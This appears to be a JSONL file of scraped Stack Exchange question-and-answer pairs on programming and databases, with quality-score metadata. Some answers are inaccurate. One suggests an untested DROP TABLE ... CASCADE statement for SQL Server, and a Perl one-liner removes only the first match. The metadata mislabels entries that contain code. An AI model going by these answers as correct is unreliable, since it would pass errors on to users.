{"id": "hf_b9d5c91ebfc2", "question": "<p>Does anyone know of a good method for editing PDFs in PHP? Preferably open-source/zero-license cost methods. :)</p>\n<p>I am thinking along the lines of opening a PDF file, replacing text in the PDF and then writing out the modified version of the PDF?</p>\n<p>On the front-end</p>\n", "question_body": "", "answer": "We use\npdflib\nto create PDF files from our rails apps. It has bindings for PHP, and a ton of other languages.\nWe use the commmercial version, but they also have a\nfree/open source version\nwhich has some limitations.\nUnfortunately, this only allows creation of PDF's.\nIf you want to open and 'edit' existing files, pdflib do provide\na product which does this this\n, but costs a\nLOT", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:34.009914"}
{"id": "hf_b530f44d23d5", "question": "<p>The company I'm currently working for is using <a href=\"http://selenium.openqa.org/\" rel=\"noreferrer\">Selenium</a> for Uniting-Testing our User Interface. What do you use to Unit-Test your Web UI and how effective do you find it? </p>\n", "question_body": "", "answer": "We use Selenium Core, but are switching gradually to Selenium RC which is much nicer and easier to manage. We have written lots of custom code to make the tests run on our Continuous Integration servers, some of them in parallel suites to run faster.\nOne thing you'll find is that Selenium seems to restart the browser for each test (you can set it not to do this, but we got memory problems when we did that). This can be slow in Firefox, but is not too bad in IE (one time I'm thankful for Bill Gates's OS integraion).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:34.045305"}
{"id": "hf_97c67f0a7c89", "question": "<p>After a couple of hours fighting with the <a href=\"http://gallery.menalto.com/\" rel=\"nofollow noreferrer\">Gallery2</a> <a href=\"http://codex.gallery2.org/Gallery2:Modules:rss\" rel=\"nofollow noreferrer\">RSS module</a> and getting only the message, \"no feeds have yet been defined\", I gave up.  Based on <a href=\"http://www.google.com/search?q=%22no+feeds+have+yet+been+defined%22\" rel=\"nofollow noreferrer\">a Google search for \"no feeds have yet been defined\"</a>, this is a pretty common problem.  Do you have any tips and/or tricks for getting the Gallery2 RSS module to work?  Or any tips for a relatively-PHP-ignorant developer trying to debug problems with this PHP application?</p>\n", "question_body": "", "answer": "My eventual (and hopefully temporary) solution to this problem was a Python CGI script.  My script follows for anyone who might find it useful (despite the fact that this is a total hack).\n```\n```\n#!/usr/bin/python\n\"\"\"A CGI script to produce an RSS feed of top-level Gallery2 albums.\"\"\"\n\n#import cgi\n#import cgitb; cgitb.enable()\nfrom time import gmtime, strftime\nimport MySQLdb\n\nALBUM_QUERY = '''\n    select g_id, g_title, g_originationTimestamp\n    from g_Item\n    where g_canContainChildren = 1 \n    order by g_originationTimestamp desc\n    limit 0, 20\n    '''\n\nRSS_TEMPLATE = '''Content-Type: text/xml\n\n<?xml version=\"1.0\"?>\n<rss version=\"2.0\">\n  <channel>\n    <title>TITLE</title>\n    <link>http://example.com/gallery2/main.php</link>\n    <description>DESCRIPTION</description>\n    <ttl>1440</ttl>\n%s\n  </channel>\n</rss>\n'''\n\nITEM_TEMPLATE = '''\n    <item>\n      <title>%s</title>\n      <link>http://example.com/gallery2/main.php?g2_itemId=%s</link>\n      <description>%s</description>\n      <pubDate>%s</pubDate>\n    </item>\n'''\n\ndef to_item(row):\n    item_id = row[0]\n    title = row[1]\n    date = strftime(\"%a, %d %b %Y %H:%M:%S GMT\", gmtime(row[2]))\n    return ITEM_TEMPLATE % (title, item_id, title, date)\n\nconn = MySQLdb.connect(host = \"HOST\",\n                       user = \"USER\",\n                       passwd = \"PASSWORD\",\n                       db = \"DATABASE\")\ncurs = conn.cursor()\ncurs.execute(ALBUM_QUERY)\nprint RSS_TEMPLATE % ''.join([ to_item(row) for row in curs.fetchall() ])\ncurs.close()\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:34.068613"}
{"id": "hf_340666948107", "question": "<p>I've made many different seperate parts of a GUI system for the Nintendo DS, like buttons and textboxes and select boxes, but I need a way of containing these classes in one Gui class, so that I can draw everything to the screen all at once, and check all the buttons at once to check if any are being pressed. My question is what is the best way organize all the classes (such as buttons and textboxes) into one GUI class?</p>\n\n<p>Here's one way I thought of but it doesn't seem right:</p>\n\n<p><strong>Edit:</strong> I'm using C++.</p>\n\n<pre><code>class Gui {\n    public:\n        void update_all();\n        void draw_all() const;\n        int add_button(Button *button); // Returns button id\n        void remove_button(int button_id);\n    private:\n        Button *buttons[10];\n        int num_buttons;\n}\n</code></pre>\n\n<p>This code has a few problems, but I just wanted to give you an idea of what I want.</p>\n", "question_body": "", "answer": "One useful strategy to keep in mind might be the\ncomposite pattern\n. At a low level, it might allow you to treat all GUI objects (and collections of objects) more easily once built. But I have no idea what's involved in GUI framework design, so one place to find general inspiration is in the source code of an existing project.\nWxWidgets\nis a cross-platform GUI framework with source available. Good luck with your project!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:34.115982"}
{"id": "hf_791f879c66d9", "question": "<p>Is there a simple way to drop a group of interrelated tables in SQL Server? Ideally I'd like to avoid having to worry about what order they're being dropped in since I know the entire group will be gone by the end of the process.</p>\n", "question_body": "", "answer": "I don't have access to SQL Server to test this, but how about:\n```\n```\nDROP TABLE IF EXISTS table1, table2, table3 CASCADE;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:34.163196"}
{"id": "hf_26617d8a464f", "question": "<p>What is the best way to use SQL Server 2008 as a development database, but ensure that the database is compatible with SQL Server 2005?</p>\n", "question_body": "", "answer": "This can be done via SQL Enterprise Manager or like this:\n```\n```\nALTER DATABASE <database> \nSET COMPATIBILITY_LEVEL = { 80 | 90 | 100 }\n```\n```\nUse 90 for 2005 compatibility.\nThis replaces the functionality used for previous releases, the stored procedure\nsp_dbcmptlevel\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:34.199751"}
{"id": "hf_e44a2af72d7b", "question": "<p>Recently I tried understanding the use of <strong>java.math.MathContext</strong> but failed to understand properly. Is it used for rounding in <code>java.math.BigDecimal</code>. If yes why does not it round the decimal digits but even mantissa part.</p>\n\n<p>From API docs, I came to know that it follows the standard specified in <code>ANSI X3.274-1996</code> and <code>ANSI X3.274-1996/AM 1-2000</code> specifications but I did not get them to read online.</p>\n\n<p>Please let me know if you have any idea on this.</p>\n", "question_body": "", "answer": "If I'm understanding you correctly, it sounds like you're expecting the MathContext to control how many digits should be kept after the decimal point.  That's not what it's for.  It specifies how many digits to keep,\ntotal\n.  So if you specify that you want 3 significant digits, that's all you're going to get.\nFor example, this:\n```\n```\nSystem.out.println(new BigDecimal(\"1234567890.123456789\",\n                   new MathContext(20)));\n\nSystem.out.println(new BigDecimal(\"1234567890.123456789\",\n                   new MathContext(10)));\n\nSystem.out.println(new BigDecimal(\"1234567890.123456789\",\n                   new MathContext(5)));\n```\n```\nwill output:\n```\n```\n1234567890.123456789\n1234567890\n1.2346E+9\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:34.223107"}
{"id": "hf_8230ad8b7f95", "question": "<p>Recently I have been having issues with Firefox 3 on Ubuntu Hardy Heron.</p>\n\n<p>I will click on a link and it will hang for a while.  I don't know if its a bug in Firefox 3 or a page running too much client side JavaScript, but I would like to try and debug it a bit.</p>\n\n<p>So, my question is \"is there a way to have some kind of process explorer, or task manager sort of thing for Firefox 3?\"</p>\n\n<p>I would like to be able to see what tabs are using what percent of my processor via the JavaScript on that page (or anything in the page that is causing CPU/memory usage).  </p>\n\n<p>Does anybody know of a plugin that does this, or something similar?  Has anyone else done this kind of inspection another way?</p>\n\n<p>I know about FireBug, but I can't imagine how I would use it to finger which tab is using a lot of resources.</p>\n\n<p>Any suggestions or insights?</p>\n", "question_body": "", "answer": "It's probably the\nawesome firefox3 fsync \"bug\"\n, which is a giant pile of fail.\nIn summary\nFirefox3 saves its bookmarks and history in an SQLite database\nEvery time you load a page it writes to this database several times\nSQLite cares deeply that you don't lose your bookmarks, so each time it writes, instructs the kernel to flush it's database file to disk and ensure that it's fully written\nMany variants of linux, when told to flush like that, flush EVERY FILE. This may take up to a minute or more if you have background tasks doing any kind of disk intensive stuff.\nThe kernel makes firefox wait while this flush happens, which locks up the UI.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:34.246843"}
{"id": "hf_083998e49946", "question": "<p>When designing a REST API or service are there any established best practices for dealing with security (Authentication, Authorization, Identity Management) ?</p>\n\n<p>When building a SOAP API you have WS-Security as a guide and much literature exists on the topic. I have found less information about securing REST endpoints.</p>\n\n<p>While I understand REST intentionally does not have specifications analogous to WS-* I am hoping best practices or recommended patterns have emerged.</p>\n\n<p>Any discussion or links to relevant documents would be very much appreciated.\nIf it matters, we would be using WCF with POX/JSON serialized messages for our REST API's/Services built using v3.5 of the .NET Framework.</p>\n", "question_body": "", "answer": "There are no standards for REST other than HTTP. There are established REST services out there. I suggest you take a peek at them and get a feel for how they work.\nFor example, we borrowed a lot of ideas from Amazon's S3 REST service when developing our own. But we opted not to use the more advanced security model based on request signatures. The simpler approach is HTTP Basic auth over SSL. You have to decide what works best in your situation.\nAlso, I highly recommend the book\nRESTful Web Services\nfrom O'reilly. It explains the core concepts and does provide some best practices. You can generally take the model they provide and map it to your own application.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:34.273453"}
{"id": "hf_538568d92c57", "question": "<p>In the SSW rules to better SQL Server Database there is an example of a full database maintenance plan: <a href=\"http://www.ssw.com.au/ssw/Standards/Rules/RulesToBetterSQLServerDatabases.aspx#MaintenancePlan\" rel=\"noreferrer\">SSW</a>. In the example they run both a Reorganize Index and then a Rebuild Index and then Update Statistics. Is there any point to this? I thought Reorganize Index was a fast but less effective version of Rebuild Index? and that an index rebuild would also update the statistics automatically (on the clustered index at least).</p>\n", "question_body": "", "answer": "The reorganize and rebuild are different things.\nReorganize: it's a defrag for indexes. Takes the existing index(es) and defragments the existing pages. However if the pages are not in a contiguous manner, they stays like before. Only the content of the pages are changing.\nRebuild: actually it drops the index and rebuilds it from scratch. It means that you will get a completely new index, with defragmented and contiguous pages.\nMoreover with rebuild you can change partitioning or file groups, but with reorganize you can defrag not only the whole index, but also only one partition of the index.\nThe update statistics is automatic on clustered indexes, but not on the non-clustered ones.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:34.309507"}
{"id": "hf_f60c945eb492", "question": "<p>First of all, I know how to build a Java application. But I have always been puzzled about where to put my classes. There are proponents for organizing the packages in a strictly domain oriented fashion, others separate by tier.</p>\n\n<p>I myself have always had problems with </p>\n\n<ul>\n<li>naming, </li>\n<li>placing</li>\n</ul>\n\n<p>So,</p>\n\n<ol>\n<li>Where do you put your domain specific constants (and what is the best name for such a class)?</li>\n<li>Where do you put classes for stuff which is both infrastructural and domain specific (for instance I have a FileStorageStrategy class, which stores the files either in the database, or alternatively in database)?</li>\n<li>Where to put Exceptions?</li>\n<li>Are there any standards to which I can refer?</li>\n</ol>\n", "question_body": "", "answer": "Class names should always be descriptive and self-explanatory. If you have multiple domains of responsibility for your classes then they should probably be refactored.\nLikewise for you packages. They should be grouped by domain of responsibility. Every domain has it's own exceptions.\nGenerally don't sweat it until you get to a point where it is becoming overwhelming and bloated. Then sit down and don't code, just refactor the classes out, compiling regularly to make sure everything works. Then continue as you did before.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:34.356996"}
{"id": "hf_8e67dc8a343e", "question": "<p>In C, are the shift operators (<code>&lt;&lt;</code>, <code>&gt;&gt;</code>) arithmetic or logical?</p>\n", "question_body": "", "answer": "When shifting left, there is no difference between arithmetic and logical shift. When shifting right, the type of shift depends on the type of the value being shifted.\n(As background for those readers unfamiliar with the difference, a \"logical\" right shift by 1 bit shifts all the bits to the right and fills in the leftmost bit with a 0. An \"arithmetic\" shift leaves the original value in the leftmost bit. The difference becomes important when dealing with negative numbers.)\nWhen shifting an unsigned value, the >> operator in C is a logical shift. When shifting a signed value, the >> operator is an arithmetic shift.\nFor example, assuming a 32 bit machine:\n```\n```\nsigned int x1 = 5;\nassert((x1 >> 1) == 2);\nsigned int x2 = -5;\nassert((x2 >> 1) == -3);\nunsigned int x3 = (unsigned int)-5;\nassert((x3 >> 1) == 0x7FFFFFFD);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:34.404955"}
{"id": "hf_4f97d32cde15", "question": "<p>Is there an official convention for naming private fields in VB.NET?  For example, if I have a property called 'Foo', I normally call the private field '_Foo'.  This seems to be frowned upon in the <a href=\"http://msdn.microsoft.com/en-us/library/ms229012.aspx\" rel=\"noreferrer\">Offical Guidelines</a>:</p>\n\n<p>\"Do not use a prefix for field names. For example, do not use g_ or s_ to distinguish static versus non-static fields.\"</p>\n\n<p>In C#, you could call the private field 'foo', the property 'Foo', and refer to the private field as 'this.foo' in the constructor.  As VB.NET is case insensitive you can't do this - any suggestions?</p>\n", "question_body": "", "answer": "I still use the _ prefix in VB for private fields, so I'll have _foo as the private field and Foo as the property. I do this for c# as well and pretty much any code I write. Generally I wouldn't get too caught up in \"what is the right way to do it\" because there isn't really a \"right\" way (altho there are some very bad ways) but rather be concerned with doing it consistently.\nAt the end of the day, being consistent will make your code much more readable and maintainable than using any set of \"right\" conventions.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:34.428617"}
{"id": "hf_0952b65485ac", "question": "<p>I have an array in Perl:</p>\n\n<pre><code>my @my_array = (\"one\",\"two\",\"three\",\"two\",\"three\");\n</code></pre>\n\n<p>How do I remove the duplicates from the array?</p>\n", "question_body": "", "answer": "You can do something like this as demonstrated in\nperlfaq4\n:\n```\n```\nsub uniq {\n    my %seen;\n    grep !$seen{$_}++, @_;\n}\n\nmy @array = qw(one two three two three);\nmy @filtered = uniq(@array);\n\nprint \"@filtered\\n\";\n```\n```\nOutputs:\n```\n```\none two three\n```\n```\nIf you want to use a module, try the\n```\nuniq\n```\nfunction from\n```\nList::MoreUtils\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:34.452378"}
{"id": "hf_2796fef8c49a", "question": "<p>I have a project that I'm currently working on but it currently only supports the .net framework 2.0. I love linq, but because of the framework version I can't use it. What I want isn't so much the ORM side of things, but the \"queryability\" (is that even a word?) of Linq. </p>\n\n<p>So far the closest is <a href=\"http://www.llblgen.com/defaultgeneric.aspx\" rel=\"nofollow noreferrer\">llblgen</a> but if there was something even lighter weight that could just do the querying for me that would be even better.</p>\n\n<p>I've also looked at <a href=\"http://www.hibernate.org/343.html\" rel=\"nofollow noreferrer\">NHibernate</a> which looks like it could go close to doing what I want, but it has a pretty steep learning curve and the mapping files don't get me overly excited.</p>\n\n<p>If anyone is aware of something that will give me a similar query interface to Linq (or even better, how to get Linq to work on the .net 2.0 framework) I'd really like to hear about it.</p>\n", "question_body": "", "answer": "There's a way to reference LINQ in the .NET 2.0 Framework, but I have to warn you that it\nmight\nbe against the terms of use/EULA of the framework:\nLINQ on the .NET 2.0 Runtime", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:34.476392"}
{"id": "hf_0ee12722c7cb", "question": "<p>Whenever I design a database, I always wonder if there is a best way of naming an item in my database. Quite often I ask myself the following questions:</p>\n\n<ol>\n<li>Should table names be plural?</li>\n<li>Should column names be singular?</li>\n<li>Should I prefix tables or columns?</li>\n<li>Should I use any case in naming items?</li>\n</ol>\n\n<p>Are there any recommended guidelines out there for naming items in a database?</p>\n", "question_body": "", "answer": "No. A table should be named after the entity it represents.\nPerson, not persons is how you would refer to whoever one of the records represents.\nAgain, same thing. The column FirstName really should not be called FirstNames. It all depends on what you want to represent with the column.\nNO.\nYes. Case it for clarity. If you need to have columns like \"FirstName\", casing will make it easier to read.\nOk. Thats my $0.02", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:34.511813"}
{"id": "hf_957d71aaf63c", "question": "<p>Given an absolute or relative path (in a Unix-like system), I would like to determine the full path of the target after resolving any intermediate symlinks. Bonus points for also resolving ~username notation at the same time.</p>\n\n<p>If the target is a directory, it might be possible to chdir() into the directory and then call getcwd(), but I really want to do this from a shell script rather than writing a C helper. Unfortunately, shells have a tendency to try to hide the existence of symlinks from the user (this is bash on OS X):</p>\n\n<pre><code>$ ls -ld foo bar\ndrwxr-xr-x   2 greg  greg  68 Aug 11 22:36 bar\nlrwxr-xr-x   1 greg  greg   3 Aug 11 22:36 foo -&gt; bar\n$ cd foo\n$ pwd\n/Users/greg/tmp/foo\n$\n</code></pre>\n\n<p>What I want is a function resolve() such that when executed from the tmp directory in the above example, resolve(\"foo\") == \"/Users/greg/tmp/bar\".</p>\n", "question_body": "", "answer": "According to the standards,\n```\npwd -P\n```\nshould return the path with symlinks resolved.\nC function\n```\nchar *getcwd(char *buf, size_t size)\n```\nfrom\n```\nunistd.h\n```\nshould have the same behaviour.\ngetcwd\npwd", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:34.557511"}
{"id": "hf_d4f95a263420", "question": "<p>Can it be done and if so, how?              </p>\n", "question_body": "", "answer": "You can use Merge Replication. Theres a tutorial here\nSQL Server Compact 3.5 How-to Tutorials\n(Number 5).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:34.592947"}
{"id": "hf_18251856fcf1", "question": "<p>I'd like a concise introduction to the different options.</p>\n", "question_body": "", "answer": "From\nWikipedia\nEmbedded in an SWF file\nusing the Flash authoring tool (supported in Flash Player 6 and later). The entire file must be transferred before playback can begin. Changing the video requires rebuilding the SWF file.[citation needed]\nProgressive download via HTTP\n(supported in Flash Player 7 and later). This method uses ActionScript to include an externally hosted Flash Video file client-side for playback. Progressive download has several advantages, including buffering, use of generic HTTP servers, and the ability to reuse a single SWF player for multiple Flash Video sources. Flash Player 8 includes support for random access within video files using the partial download functionality of HTTP, sometimes this is referred to as streaming. However, unlike streaming using RTMP, HTTP \"streaming\" does not support real-time broadcasting. Streaming via HTTP requires a custom player and the injection of specific Flash Video metadata containing the exact starting position in bytes and timecode of each keyframe. Using this specific information, a custom Flash Video player can request any part of the Flash Video file starting at a specified keyframe. For example, Google Video and Youtube support progressive downloading and can seek to any part of the video before buffering is complete. The server-side part of this \"HTTP pseudo-streaming\" method is fairly simple to implement, for example in PHP, as an Apache HTTPD module, or a lighttpd module. Rich Media Project provides players and Flash components compatible with \"HTTP pseudo-streaming\" method.\nStreamed via RTMP to the Flash Player\nusing the Flash Media Server (formerly called Flash Communication Server), VCS, ElectroServer, Wowza Pro or the open source Red5 server. As of April 2008, there are four stream recorders available for this protocol, re-encoding screencast software excluded.\nThere is a useful introduction from Adobe here:\nFlash video learning guide", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:34.692838"}
{"id": "hf_d68b56d59488", "question": "<p>I have a ASP.NET page with an asp:button that is not visible. I can't turn it visible with JavaScript because it is not rendered to the page.</p>\n\n<p>What can I do to resolve this?</p>\n", "question_body": "", "answer": "If you need to manipulate it on the client side, you can't use the Visible property on the server side.  Instead, set its CSS display style to \"none\".  For example:\n```\n```\n<asp:Label runat=\"server\" id=\"Label1\" style=\"display: none;\" />\n```\n```\nThen, you could make it visible on the client side with:\n```\n```\ndocument.getElementById('Label1').style.display = 'inherit';\n```\n```\nYou could make it hidden again with:\n```\n```\ndocument.getElementById('Label1').style.display = 'none';\n```\n```\nKeep in mind that there may be issues with the ClientID being more complex than \"Label1\" in practice.  You'll need to use the ClientID with getElementById, not the server side ID, if they differ.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:34.745745"}
{"id": "hf_54242851ba53", "question": "<p>I have read through several reviews on Amazon and some books seem outdated.  I am currently using MyEclipse 6.5 which is using Eclipse 3.3.  I'm interested in hearing from people that have experience learning RCP and what reference material they used to get started.</p>\n", "question_body": "", "answer": "Although I don't have personal experience, a few friends of mine did Eclipse RCP development, and they used the book \"\nEclipse Rich Client Platform: Designing, Coding, and Packaging Java(TM) Applications\n\". They seemed to like it a lot, and I looked it at myself, and it seemed useful. If I was going to do RCP development on Eclipse, I would probably get this book.\nTo clarify - this book is geared toward Eclipse 3.1, and since I haven't done any RCP development of my own, I'm not sure how much things have changed.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:34.769540"}
{"id": "hf_c1329c4b7853", "question": "<p>I would like to use a language that I am familiar with - Java, C#, Ruby, PHP, C/C++, although examples in any language or pseudocode are more than welcome.</p>\n\n<p>What is the best way of splitting a large XML document into smaller sections that are still valid XML? For my purposes, I need to split them into roughly thirds or fourths, but for the sake of providing examples, splitting them into n components would be good.</p>\n", "question_body": "", "answer": "Well of course you can always extract the top-level elements (whether this is the granularity you want is up to you). In C#, you'd use the XmlDocument class. For example, if your XML file looked something like this:\n```\n```\n<Document>\n  <Piece>\n     Some text\n  </Piece>\n  <Piece>\n     Some other text\n  </Piece>\n</Document>\n```\n```\nthen you'd use code like this to extract all of the Pieces:\n```\n```\nXmlDocument doc = new XmlDocument();\ndoc.Load(\"<path to xml file>\");\nXmlNodeList nl = doc.GetElementsByTagName(\"Piece\");\nforeach (XmlNode n in nl)\n{\n    // Do something with each Piece node\n}\n```\n```\nOnce you've got the nodes, you can do something with them in your code, or you can transfer the entire text of the node to its own XML document and act on that as if it were an independent piece of XML (including saving it back to disk, etc).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:34.793702"}
{"id": "hf_ec3c58528a35", "question": "<p>As I learn more and more about OOP, and start to implement various design patterns, I keep coming back to cases where people are hating on <a href=\"http://en.wikipedia.org/wiki/Active_record_pattern\" rel=\"noreferrer\">Active Record</a>.</p>\n\n<p>Often, people say that it doesn't scale well (citing Twitter as their prime example) -- but nobody actually explains <strong><em>why</em></strong> it doesn't scale well; and / or how to achieve the pros of AR without the cons (via a similar but different pattern?)</p>\n\n<p>Hopefully this won't turn into a holy war about design patterns -- all I want to know is ****specifically**** what's wrong with Active Record.</p>\n\n<p>If it doesn't scale well, why not?</p>\n\n<p>What other problems does it have?</p>\n", "question_body": "", "answer": "The main thing that I've seen with regards to complaints about Active Record is that when you create a model around a table, and you select several instances of the model, you're basically doing a \"select * from ...\". This is fine for editing a record or displaying a record, but if you want to, say, display a list of the cities for all the contacts in your database, you could do \"select City from ...\" and only get the cities. Doing this with Active Record would require that you're selecting all the columns, but only using City.\nOf course, varying implementations will handle this differently. Nevertheless, it's one issue.\nNow, you can get around this by creating a new model for the specific thing you're trying to do, but some people would argue that it's more effort than the benefit.\nMe, I dig Active Record. :-)\nHTH", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:34.829840"}
{"id": "hf_e8b7e7762202", "question": "<p>I want to open a file for reading, the C++ way. I need to be able to do it for:</p>\n\n<ul>\n<li><p>text files, which would involve some sort of read line function.</p></li>\n<li><p>binary files, which would provide a way to read raw data into a <code>char*</code> buffer.</p></li>\n</ul>\n", "question_body": "", "answer": "There are three ways to do this, depending on your needs. You could use the old-school C way and call\n```\nfopen\n```\n/\n```\nfread\n```\n/\n```\nfclose\n```\n, or you could use the C++ fstream facilities (\n```\nifstream\n```\n/\n```\nofstream\n```\n), or if you're using MFC, use the\n```\nCFile\n```\nclass, which provides functions to accomplish actual file operations.\nAll of these are suitable for both text and binary, though none have a specific readline functionality. What you'd most likely do instead in that case is use the fstream classes (fstream.h) and use the stream operators (<< and >>) or the read function to read/write blocks of text:\n```\n```\nint nsize = 10;\nstd::vector<char> somedata(nsize);\nifstream myfile;\nmyfile.open(\"<path to file>\");\nmyfile.read(somedata.data(), nsize);\nmyfile.close();\n```\n```\nNote that, if you're using Visual Studio 2005 or higher, traditional fstream may not be available (there's a new Microsoft implementation, which is slightly different, but accomplishes the same thing).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:34.865416"}
{"id": "hf_c317a95e3eeb", "question": "<p>Perl has OOP features, but they are somewhat rarely used. How do you create and use Perl objects with methods and properties?</p>\n", "question_body": "", "answer": "The official tutorial on the\nCPAN site\nis good.\nThere's also a good article called\nCamel POOP\nat CodeProject.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:34.902417"}
{"id": "hf_013fcadc981d", "question": "<p>I'm importing some data from a <code>CSV</code> file, and numbers that are larger than <code>1000</code> get turned into <code>1,100</code> etc. </p>\n\n<p>What's a good way to remove both the quotes and the comma from this so I can put it into an <code>int</code> field?</p>\n\n<p><strong>Edit:</strong> </p>\n\n<p>The data is actually already in a MySQL table, so I need to be able to this using SQL. Sorry for the mixup.</p>\n", "question_body": "", "answer": "You could use this perl command.\n```\n```\nPerl -lne 's/[,|\"]//; print' file.txt > newfile.txt\n```\n```\nYou may need to play around with it a bit, but it should do the trick.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:34.939257"}
